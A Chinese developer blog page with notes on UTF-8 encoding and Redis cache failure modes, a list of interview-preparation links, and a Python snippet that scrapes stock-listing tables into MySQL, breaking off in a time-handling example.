<h3 id="UTF-8编码"><a href="#UTF-8编码" class="headerlink" title="UTF-8编码"></a>UTF-8编码</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">Unicode只是一个符号集，它只规定了符号的二进制代码，却没有规定这个二进制代码应该如何存储。</span><br><span class="line"></span><br><span class="line">汉字”严”的unicode是十六进制数<span class="number">4E25</span>，转换成二进制数足足有<span class="number">15</span>位（<span class="number">100111000100101</span>），也就是说这个符号的表示至少需要<span class="number">2</span>个字节。表示其他更大的符号，可能需要<span class="number">3</span>个字节或者<span class="number">4</span>个字节，甚至更多。</span><br><span class="line"></span><br><span class="line">UTF<span class="number">-8</span>就是在互联网上使用最广的一种Unicode的实现方式。其他实现方式还包括UTF<span class="number">-16</span>（字符用两个字节或四个字节表示）和UTF<span class="number">-32</span>（字符用四个字节表示），不过在互联网上基本不用。重复一遍，这里的关系是，UTF<span class="number">-8</span>是Unicode的实现方式之一。</span><br><span class="line"></span><br><span class="line">UTF<span class="number">-8</span>最大的一个特点，就是它是一种变长的编码方式。它可以使用<span class="number">1</span>~<span class="number">4</span>个字节表示一个符号，根据不同的符号而变化字节长度。</span><br><span class="line">Unicode转义字符让我们可以通过Unicode码点输入特殊的字符。 有两种形式：\uhhhh对应<span class="number">16</span>bit的码点值， \Uhhhhhhhh对应<span class="number">32</span>bit的码点值， 其中h是一个十六进制数字；一般很少需要使用<span class="number">32</span>bit的形式。 每一个对应码点的UTF8编码。 例如：下面的字母串面值都表示相同的值：</span><br><span class="line"> </span><br><span class="line"><span class="string">"世界"</span></span><br><span class="line"><span class="string">"\xe4\xb8\x96\xe7\x95\x8c"</span></span><br><span class="line"><span class="string">"\u4e16\u754c"</span></span><br><span class="line"><span class="string">"\U00004e16\U0000754c"</span></span><br><span class="line">上面三个转义序列都为第一个字符串提供替代写法， 但是它们的值都是相同的。</span><br><span class="line">打开”记事本”程序Notepad.exe，新建一个文本文件，内容就是一个”严”字，依次采用ANSI，Unicode，Unicode big endian 和 UTF<span class="number">-8</span>编码方式保存。</span><br><span class="line">然后，用文本编辑软件UltraEdit中的”十六进制功能”，观察该文件的内部编码方式。</span><br><span class="line"></span><br><span class="line">ANSI：文件的编码就是两个字节”D1 CF”，这正是”严”的GB2312编码，这也暗示GB2312是采用大头方式存储的。</span><br><span class="line">Unicode：编码是四个字节”FF FE <span class="number">25</span> <span class="number">4</span>E”，其中”FF FE”表明是小头方式存储，真正的编码是<span class="number">4E25</span>。</span><br><span class="line">Unicode big endian：编码是四个字节”FE FF <span class="number">4</span>E <span class="number">25</span>″，其中”FE FF”表明是大头方式存储。</span><br><span class="line">UTF<span class="number">-8</span>：编码是六个字节”EF BB BF E4 B8 A5″，前三个字节”EF BB BF”表示这是UTF<span class="number">-8</span>编码，后三个”E4B8A5″就是”严”的具体编码，它的存储顺序与编码顺序是一致的。</span><br><span class="line">注意，windows下通过记事本保存的utf8默认是带BOM的utf，而一般建议都是使用不带BOM的utf8编码https:<span class="comment">//xin053.github.io/2016/09/07/UTF-8%E7%BC%96%E7%A0%81/</span></span><br></pre></td></tr></table></figure>
<h3 id="缓存穿透缓存击穿缓存雪崩"><a href="#缓存穿透缓存击穿缓存雪崩" class="headerlink" title="缓存穿透缓存击穿缓存雪崩"></a>缓存穿透缓存击穿缓存雪崩</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">缓存穿透 ： DB 承受了没有必要的查询流量，意思就是查到空值的时候没有做缓存处理，再次查询的时候继续读库了</span><br><span class="line">缓存击穿：热点 Key，大量并发读请求引起的小雪崩， 就是缓存在某个时间点过期的时候，恰好在这个时间点对这个 Key 有大量的并发请求过来，这些请求发现缓存过期一般都会从后端 DB 加载数据并回设到缓存，这个时候大并发的请求可能会瞬间把后端 DB 压垮</span><br><span class="line">缓存雪崩：缓存设置同一过期时间，引发的大量的读取数据库操作</span><br></pre></td></tr></table></figure>
<h3 id=""><a href="#" class="headerlink" title=" "></a> </h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure>
<p><a href="https://learnku.com/articles/39504" target="_blank" rel="noopener">python 后端开发面经</a></p>
<p><a href="https://www.kancloud.cn/explore" target="_blank" rel="noopener">看云文档</a></p>
<p><a href="https://learnku.com/php/t/38272" target="_blank" rel="noopener">PHP 面试题和答案</a></p>
<p><a href="https://www.kancloud.cn/kancloud/a-programmer-prepares/78223" target="_blank" rel="noopener">程序员的自我修养</a></p>
<p><a href="https://github.com/wudi/PHP-Interview-Best-Practices-in-China" target="_blank" rel="noopener">PHP 面试知识点汇总</a></p>
<p><a href="https://learnku.com/articles/25837" target="_blank" rel="noopener">正向代理为客户端做代理，反向代理为服务器做代理</a></p>
<p><a href="https://juejin.im/post/5ac05aab6fb9a028e25db037" target="_blank" rel="noopener">计算机网络知识总结</a></p>
<p><a href="https://juejin.im/post/5ac49b5c518825556e5e5060" target="_blank" rel="noopener">排序算法全总结</a></p>
<p><a href="https://juejin.im/post/5ad6e4066fb9a028d82c4b66" target="_blank" rel="noopener">面试中关于Redis的问题看这篇就够了</a></p>
<p><a href="https://juejin.im/post/5b192314e51d45067d407822" target="_blank" rel="noopener">Mysql锁机制简单了解一下</a></p>
<p><a href="https://juejin.im/post/5c1731466fb9a049af6d2a83" target="_blank" rel="noopener">消息队列其实很简单</a></p>
<p><a href="https://juejin.im/post/5ba591386fb9a05cd31eb85f" target="_blank" rel="noopener">一份最适合你的后端面试指南</a></p>
<p><a href="https://juejin.im/post/5b4977ae5188251b146b2fc8" target="_blank" rel="noopener">面试必备之乐观锁与悲观锁</a></p>
<p><a href="https://juejin.im/post/5b7be0b2e51d4538db34a51e" target="_blank" rel="noopener">搞定计算机网络面试，看这篇就够了</a></p>
<p><a href="https://juejin.im/post/5b59c9f6e51d4535a65add84" target="_blank" rel="noopener">程序员简历之道</a></p>
<p><a href="https://juejin.im/post/5b3b19856fb9a04fa42f8c71" target="_blank" rel="noopener">前端&amp;后端程序员必备的Linux基础知识</a></p>
<p><a href="https://github.com/Snailclimb/programmer-advancement" target="_blank" rel="noopener">技术人员成长必备！</a></p>
<p><a href="https://juejin.im/post/5b2dffb851882574eb598896" target="_blank" rel="noopener">技术面试中常见的几道智力题 </a></p>
<p><a href="https://juejin.im/post/5b24cf7e51882574c020bd56" target="_blank" rel="noopener">关于MySQL的知识点与面试常见问题都在这里</a></p>
<p><a href="https://github.com/Snailclimb/JavaGuide" target="_blank" rel="noopener">一份涵盖大部分Java程序员所需要掌握的核心知识</a></p>
<p><a href="https://github.com/chunlintang/interview" target="_blank" rel="noopener">php面试</a></p>
<p><a href="https://www.qingwei.tech/somehub/" target="_blank" rel="noopener">图标生成器</a></p>
<p><a href="https://www.qingwei.tech/programe-develops/1171.html" target="_blank" rel="noopener">程序猿面试应知道的8种数据结构</a></p>
<p><a href="https://juejin.im/post/5c368a7df265da612e28d5c7" target="_blank" rel="noopener">历经 20 天，我终于完成了这份专为程序员编写的英语学习指南</a></p>
<p><a href="https://learnku.com/articles/27430#topnav" target="_blank" rel="noopener">如何”有计划，高效率，优简历”应对面试</a></p>
<p><a href="https://wdxtub.com/interview/14520847747820.html" target="_blank" rel="noopener">小土刀的面试刷题笔记</a></p>
<p><a href="https://segmentfault.com/a/1190000018378234" target="_blank" rel="noopener">我本以为你们会写简历</a></p>
<p> <a href="https://learnku.com/articles/27738#topnav" target="_blank" rel="noopener">《数据结构与算法之美》复杂度分析</a></p>
<p><a href="https://haoruijie.art/2019/04/02/book-soft-skill-review.html" target="_blank" rel="noopener">《软技能：代码之外的生存准则》读后感</a></p>
<p><a href="https://juejin.im/post/5c96fb795188252d5f0fdff2?utm_source=coffeephp.com" target="_blank" rel="noopener">Redis和mysql数据怎么保持数据一致的</a></p>
<p><a href="https://segmentfault.com/a/1190000011405320" target="_blank" rel="noopener">Nginx高并发下的优化</a></p>
<p><a href="https://github.com/HIT-Alibaba/interview" target="_blank" rel="noopener">笔试面试知识整理</a></p>
<p><a href="https://learnku.com/laravel/t/6138/share-some-of-the-problems-that-larvel-and-phper-interviews-may-encounter" target="_blank" rel="noopener">PHPer 面试可能会遇到的问题</a></p>
<p><a href="https://learnku.com/articles/25842" target="_blank" rel="noopener">画江湖之算法篇【排序算法】冒泡排序</a></p>
<p><a href="https://www.imooc.com/learn/696" target="_blank" rel="noopener">从零开始打造自己的PHP框架 </a></p>
<p><a href="https://github.com/nonfu/laravel-tutorial-code" target="_blank" rel="noopener">Laravel 从入门到精通教程代码</a></p>
<p><a href="https://laravelacademy.org/laravel-tutorial-5_7" target="_blank" rel="noopener">Laravel 从入门到精通系列教程</a></p>
<p><a href="https://laravelacademy.org/programmer-internal-skills-series" target="_blank" rel="noopener">程序员内功修炼系列 2019 版</a></p>
<p><a href="https://github.com/xianyunyh/PHP-Interview" target="_blank" rel="noopener"> PHP 面试的资料</a></p>
<p><a href="https://learnku.com/articles/17867" target="_blank" rel="noopener">简聊 Session 与 Token 身份验证</a></p>
<p><a href="https://learnku.com/articles/25814" target="_blank" rel="noopener">画江湖之数据结构【第二话:队列】队列</a></p>
<p><a href="https://learnku.com/articles/22363" target="_blank" rel="noopener">面试前必须要知道的 Redis 面试内容</a></p>
<p><a href="https://learnku.com/articles/20031" target="_blank" rel="noopener">【简易图解】『 OAuth2.0』 猴子都能懂的图解</a></p>
<p><a href="https://learnku.com/articles/25070#topnav" target="_blank" rel="noopener">面试之 Redis 基础、高级特性与性能调优</a></p>
<p><a href="https://learnku.com/articles/22538" target="_blank" rel="noopener">收集的干货，持续更新</a></p>
<p><a href="https://segmentfault.com/a/1190000018447170?utm_source=tag-newest" target="_blank" rel="noopener">PHP面试常考之设计模式——建造者模式</a></p>
<p><a href="https://learnku.com/articles/25252#topnav" target="_blank" rel="noopener">PHP 详细面试总结 (二 HTTP 请求全过程)</a></p>
<p><a href="https://www.fanhaobai.com/2017/09/lua.html" target="_blank" rel="noopener">lua</a></p>
<p><a href="https://learnku.com/articles/26686" target="_blank" rel="noopener">代理与反向代理、负载均衡和缓存</a></p>
<p><a href="https://segmentfault.com/a/1190000018464303?utm_source=tag-newest" target="_blank" rel="noopener">PHP-FPM 与 Nginx 的通信机制总结</a></p>
<p><a href="http://fanqieto.top/2018/08/03/%E4%BB%8E%E4%B8%80%E9%81%93%E7%99%BE%E5%BA%A6%E9%9D%A2%E8%AF%95%E9%A2%98%E8%AF%B4%E8%B5%B7/" target="_blank" rel="noopener">从一道百度面试题说起</a></p>
<p><a href="http://fanqieto.top/2018/07/26/%E7%AC%94%E8%AF%95%E9%9D%A2%E8%AF%95%E5%B8%B8%E7%94%A8%E6%8E%92%E5%BA%8F%E7%AE%97%E6%B3%95%E6%80%BB%E7%BB%93/" target="_blank" rel="noopener">笔试面试常用排序算法总结</a></p>
<p><a href="https://learnku.com/articles/25204" target="_blank" rel="noopener">PHP 详细面试总结</a></p>
<p><a href="http://fanqieto.top/2018/06/23/%E9%9D%A2%E8%AF%95%E7%9A%84%E6%8A%80%E5%B7%A7%EF%BC%88%E4%B8%8A%EF%BC%89%EF%BC%9A%E5%90%AC%E6%87%82%E5%88%AB%E4%BA%BA%E7%9A%84%E9%97%AE%E9%A2%98/" target="_blank" rel="noopener">面试的技巧（上）：听懂别人的问题</a></p>
<p><a href="http://fanqieto.top/2018/06/17/%E6%95%B0%E7%BB%84%E4%B8%AD%E7%9A%84%E9%97%AE%E9%A2%98%E5%85%B6%E5%AE%9E%E6%9C%80%E5%B8%B8%E8%A7%81/" target="_blank" rel="noopener">leetcode题解（数组问题）</a></p>
<p><a href="http://fanqieto.top/2018/06/14/%E7%AE%97%E6%B3%95%E9%9D%A2%E8%AF%95%E5%88%B0%E5%BA%95%E6%98%AF%E4%BB%80%E4%B9%88%E9%AC%BC/" target="_blank" rel="noopener">如何准备算法面试</a></p>
<p><a href="http://fanqieto.top/2017/10/12/%E9%AB%98%E5%B9%B6%E5%8F%91%E4%B8%8B%E7%BB%99%E6%95%B0%E6%8D%AE%E5%BA%93%E6%80%A7%E8%83%BD%E6%9C%89%E5%93%AA%E4%BA%9B%E5%BD%B1%E5%93%8D/" target="_blank" rel="noopener">高并发下给数据库性能有哪些影响？</a></p>
<p><a href="http://blog.thankbabe.com/2018/05/23/shared-experience/#top" target="_blank" rel="noopener">大话后端开发的奇淫技巧大集合</a></p>
<p><a href="https://zhuanlan.zhihu.com/p/26175433" target="_blank" rel="noopener">聪明人应该如何背英语单词？</a></p>
<p><a href="http://www.sangeng.org/blog/detail_563.html" target="_blank" rel="noopener">20K+的高级PHP面试题汇总</a></p>
<p><a href="https://mp.weixin.qq.com/s/OzAnRVPUDtoiIXqeC7YL6g" target="_blank" rel="noopener">阿里云Redis开发规范 </a></p>
<p><a href="https://www.cnblogs.com/walblog/articles/8476579.html" target="_blank" rel="noopener">php解决高并发问题</a></p>
<p><a href="https://learnku.com/laravel/t/24359" target="_blank" rel="noopener">面试最让你手足无措的一个问题：你的系统如何支撑高并发</a></p>
<p><a href="https://learnku.com/articles/25879" target="_blank" rel="noopener">面试 (MySQL 索引为啥要选择 B+ 树)</a></p>
<p><a href="https://github.com/XiaoMi/soar/blob/master/doc/heuristic.md" target="_blank" rel="noopener">MySQL 避坑宝典</a></p>
<p><a href="https://learnku.com/articles/24795#topnav" target="_blank" rel="noopener">深入 Nginx 之配置篇</a></p>
<p><a href="https://learnku.com/articles/28716" target="_blank" rel="noopener">PHP 面试踩过的坑</a></p>
<p><a href="https://learnku.com/articles/28772" target="_blank" rel="noopener">PHP 面试详解之技术篇</a></p>
<p><a href="http://blog.y0701.com/2018/09/11/PHP%E9%9D%A2%E8%AF%95%E6%80%BB%E7%BB%93/" target="_blank" rel="noopener">PHP面试总结</a></p>
<p><a href="https://github.com/duiying/php-notes" target="_blank" rel="noopener">记录开发或面试中可能遇到的知识点</a></p>
<p><a href="http://qinghua.github.io/encoding-and-escaping/" target="_blank" rel="noopener">程序员常见的编码和转义</a></p>
<p><a href="https://betacat.online/posts/2019-01-25/what-happens-when-you-type-googlecom-into-your-browser-and-return/" target="_blank" rel="noopener">当你在浏览器中输入“google.com”并回车，会发生什么</a></p>
<p><a href="https://betacat.online/posts/2019-02-22/reverse-proxy-and-intranet-through/" target="_blank" rel="noopener">反向代理和内网穿透frp ngrok</a></p>
<p><a href="https://learnku.com/articles/29685" target="_blank" rel="noopener">TCP 协议简单说明</a></p>
<p><a href="https://learnku.com/articles/28896" target="_blank" rel="noopener">最近去腾讯面试了，分享一波面试题</a></p>
<p><a href="https://github.com/xianyunyh/PHP-Interview" target="_blank" rel="noopener">PHP面试准备的资料</a></p>
<p><a href="https://learnku.com/articles/21993#replies" target="_blank" rel="noopener">2019年小米春季上海 PHP 实习生招聘面试题</a></p>
<p><a href="https://github.com/0voice/interview_internal_reference" target="_blank" rel="noopener">2019年最新总结，阿里，腾讯，百度，美团，头条等技术面试题目</a></p>
<p><a href="https://github.com/guanhui07/studyFiles" target="_blank" rel="noopener">一些电子书pdf</a></p>
<p><a href="https://learnku.com/articles/33612" target="_blank" rel="noopener">php面试</a></p>
<p><a href="https://learnku.com/articles/33806" target="_blank" rel="noopener">PHP 三年模拟五年面试之一网打尽系列（4）—– MySQL 高级</a></p>
<p><a href="https://learnku.com/articles/35779" target="_blank" rel="noopener">整理有关面试普遍问题和回答技巧</a></p>
<p><a href="https://learnku.com/articles/36719" target="_blank" rel="noopener">到底该学习什么编程语言</a></p>
<p><a href="https://learnku.com/articles/32343#replies" target="_blank" rel="noopener">PHP7 底层运行机制</a></p>

          
        
      
    </div>
    
    
    

    

    

    

    <footer class="post-footer">
      

      

      

      
      
        <div class="post-eof"></div>
      
    </footer>
  </div>
  
  
  
  </article>


    
      

  

  
  
  

  <article class="post post-type-normal" itemscope="" itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="http://yoursite.com/2019/02/26/python代码段收集/">

    <span hidden itemprop="author" itemscope="" itemtype="http://schema.org/Person">
      <meta itemprop="name" content="苏生不惑">
      <meta itemprop="description" content="">
      <meta itemprop="image" content="/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope="" itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="苏生不惑的博客">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">
                
                <a class="post-title-link" href="/2019/02/26/python代码段收集/" itemprop="url">python代码段收集</a></h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">发表于</span>
              
              <time title="创建于" itemprop="dateCreated datePublished" datetime="2019-02-26T19:45:56+08:00">
                2019-02-26
              </time>
            

            

            
          </span>

          

          
            
          

          
          

          

          
            <div class="post-wordcount">
              
                
                  <span class="post-meta-divider">|</span>
                
                <span class="post-meta-item-icon">
                  <i class="fa fa-file-word-o"></i>
                </span>
                
                  <span class="post-meta-item-text">字数统计&#58;</span>
                
                <span title="字数统计">
                  15.8k 字
                </span>
              

              
                <span class="post-meta-divider">|</span>
              

              
                <span class="post-meta-item-icon">
                  <i class="fa fa-clock-o"></i>
                </span>
                
                  <span class="post-meta-item-text">阅读时长 &asymp;</span>
                
                <span title="阅读时长">
                  82 分钟
                </span>
              
            </div>
          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        
          
            <h3 id="5-行代码入门-Python-爬虫"><a href="#5-行代码入门-Python-爬虫" class="headerlink" title="5 行代码入门 Python 爬虫"></a>5 行代码入门 Python 爬虫</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> pandas <span class="keyword">as</span> pd</span><br><span class="line"><span class="keyword">from</span> bs4 <span class="keyword">import</span> BeautifulSoup</span><br><span class="line"><span class="keyword">from</span> lxml <span class="keyword">import</span> etree</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">import</span> pymysql</span><br><span class="line"><span class="keyword">from</span> sqlalchemy <span class="keyword">import</span> create_engine</span><br><span class="line">from urllib.parse import urlencode  # 编码 URL 字符串https://www.makcyun.top/web_scraping_withpython18.html</span><br><span class="line"></span><br><span class="line">start_time = time.time()  #计算程序运行时间</span><br><span class="line">def get_one_page(i):</span><br><span class="line">	<span class="keyword">try</span>:</span><br><span class="line">		headers = &#123;</span><br><span class="line">            <span class="string">'User-Agent'</span>: <span class="string">'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36'</span></span><br><span class="line">        &#125;</span><br><span class="line">		paras = &#123;</span><br><span class="line">		<span class="string">'reportTime'</span>: <span class="string">'2017-12-31'</span>,</span><br><span class="line">		#可以改报告日期，比如2018-6-30获得的就是该季度的信息</span><br><span class="line">		'pageNum': i   #页码</span><br><span class="line">		&#125;</span><br><span class="line">		url = <span class="string">'http://s.askci.com/stock/a/?'</span> + urlencode(paras)</span><br><span class="line">		response = requests.get(url,headers = headers)</span><br><span class="line">		<span class="keyword">if</span> response.status_code == <span class="number">200</span>:</span><br><span class="line">			<span class="keyword">return</span> response.text</span><br><span class="line">		<span class="keyword">return</span> None</span><br><span class="line">	except RequestException:</span><br><span class="line">		print(<span class="string">'爬取失败'</span>)</span><br><span class="line"></span><br><span class="line">def parse_one_page(html):</span><br><span class="line">	soup = BeautifulSoup(html,<span class="string">'lxml'</span>)</span><br><span class="line">	content = soup.select('#myTable04')[0] #[0]将返回的list改为bs4类型</span><br><span class="line">	tbl = pd.read_html(content.prettify(),header = <span class="number">0</span>)[<span class="number">0</span>]</span><br><span class="line">	# prettify()优化代码,[0]从pd.read_html返回的list中提取出DataFrame</span><br><span class="line">	tbl.rename(columns = &#123;<span class="string">'序号'</span>:<span class="string">'serial_number'</span>, <span class="string">'股票代码'</span>:<span class="string">'stock_code'</span>, <span class="string">'股票简称'</span>:<span class="string">'stock_abbre'</span>, <span class="string">'公司名称'</span>:<span class="string">'company_name'</span>, <span class="string">'省份'</span>:<span class="string">'province'</span>, <span class="string">'城市'</span>:<span class="string">'city'</span>, <span class="string">'主营业务收入(201712)'</span>:<span class="string">'main_bussiness_income'</span>, <span class="string">'净利润(201712)'</span>:<span class="string">'net_profit'</span>, <span class="string">'员工人数'</span>:<span class="string">'employees'</span>, <span class="string">'上市日期'</span>:<span class="string">'listing_date'</span>, <span class="string">'招股书'</span>:<span class="string">'zhaogushu'</span>, <span class="string">'公司财报'</span>:<span class="string">'financial_report'</span>, <span class="string">'行业分类'</span>:<span class="string">'industry_classification'</span>, <span class="string">'产品类型'</span>:<span class="string">'industry_type'</span>, <span class="string">'主营业务'</span>:<span class="string">'main_business'</span>&#125;,inplace = True)</span><br><span class="line">	<span class="keyword">return</span> tbl</span><br><span class="line"></span><br><span class="line">def generate_mysql():</span><br><span class="line">	conn = pymysql.connect(</span><br><span class="line">		host=<span class="string">'localhost'</span>,</span><br><span class="line">		user=<span class="string">'root'</span>,</span><br><span class="line">		password=<span class="string">'******'</span>,</span><br><span class="line">		port=<span class="number">3306</span>,</span><br><span class="line">		charset = <span class="string">'utf8'</span>,  </span><br><span class="line">		db = <span class="string">'wade'</span>)</span><br><span class="line">	cursor = conn.cursor()</span><br><span class="line"></span><br><span class="line">	sql = <span class="string">'CREATE TABLE IF NOT EXISTS listed_company (serial_number INT(20) NOT NULL,stock_code INT(20) ,stock_abbre VARCHAR(20) ,company_name VARCHAR(20) ,province VARCHAR(20) ,city VARCHAR(20) ,main_bussiness_income VARCHAR(20) ,net_profit VARCHAR(20) ,employees INT(20) ,listing_date DATETIME(0) ,zhaogushu VARCHAR(20) ,financial_report VARCHAR(20) , industry_classification VARCHAR(20) ,industry_type VARCHAR(100) ,main_business VARCHAR(200) ,PRIMARY KEY (serial_number))'</span></span><br><span class="line">	cursor.execute(sql)</span><br><span class="line">	conn.close()</span><br><span class="line">	</span><br><span class="line">def write_to_sql(tbl, db = <span class="string">'wade'</span>):</span><br><span class="line">    engine = create_engine(<span class="string">'mysql+pymysql://root:******@localhost:3306/&#123;0&#125;?charset=utf8'</span>.format(db))</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">    	tbl.to_sql(<span class="string">'listed_company2'</span>,con = engine,if_exists=<span class="string">'append'</span>,index=False)</span><br><span class="line">    	# append表示在原有表基础上增加，但该表要有表头</span><br><span class="line">    except Exception <span class="keyword">as</span> e:</span><br><span class="line">    	print(e)</span><br><span class="line"></span><br><span class="line">def main(page):</span><br><span class="line">    generate_mysql()</span><br><span class="line">	<span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">1</span>,page):  </span><br><span class="line">		html = get_one_page(i)</span><br><span class="line">		tbl = parse_one_page(html)</span><br><span class="line">		write_to_sql(tbl)</span><br><span class="line">		</span><br><span class="line"># # 单进程</span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:	</span><br><span class="line">	main(<span class="number">178</span>)</span><br><span class="line">	endtime = time.time()-start_time</span><br><span class="line">	print(<span class="string">'程序运行了%.2f秒'</span> %endtime)</span><br><span class="line">	</span><br><span class="line"># 多进程</span><br><span class="line"><span class="keyword">from</span> multiprocessing <span class="keyword">import</span> Pool</span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> 	pool = Pool(<span class="number">4</span>)</span><br><span class="line"> 	pool.map(main, [i for i in range(1,178)])  #共有178页</span><br><span class="line">	endtime = time.time()-start_time</span><br><span class="line">	print(<span class="string">'程序运行了%.2f秒'</span> %(time.time()-start_time))</span><br><span class="line">	</span><br><span class="line"><span class="keyword">import</span> pandas <span class="keyword">as</span> pd</span><br><span class="line"><span class="keyword">import</span> csv</span><br><span class="line">for i in range(1,178):  # 爬取全部页</span><br><span class="line">	tb = pd.read_html(<span class="string">'http://s.askci.com/stock/a/?reportTime=2017-12-31&amp;pageNum=%s'</span> % (str(i)))[<span class="number">3</span>] </span><br><span class="line">	tb.to_csv(r<span class="string">'1.csv'</span>, mode=<span class="string">'a'</span>, encoding=<span class="string">'utf_8_sig'</span>, header=<span class="number">1</span>, index=<span class="number">0</span>)</span><br></pre></td></tr></table></figure>
<h3 id="时间处理"><a href="#时间处理" class="headerlink" title="时间处理"></a>时间处理</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br></pre></td><td class="code"><pre><span class="line"># -*- coding: utf-8 -*-</span><br><span class="line"># author:           inpurer(月小水长)</span><br><span class="line"># pc_type           lenovo</span><br><span class="line"># create_date:      2018/12/3</span><br><span class="line"># file_name:        timetest.py</span><br><span class="line"># description:      月小水长，热血未凉</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line">t0 = time.time()</span><br><span class="line">#description:   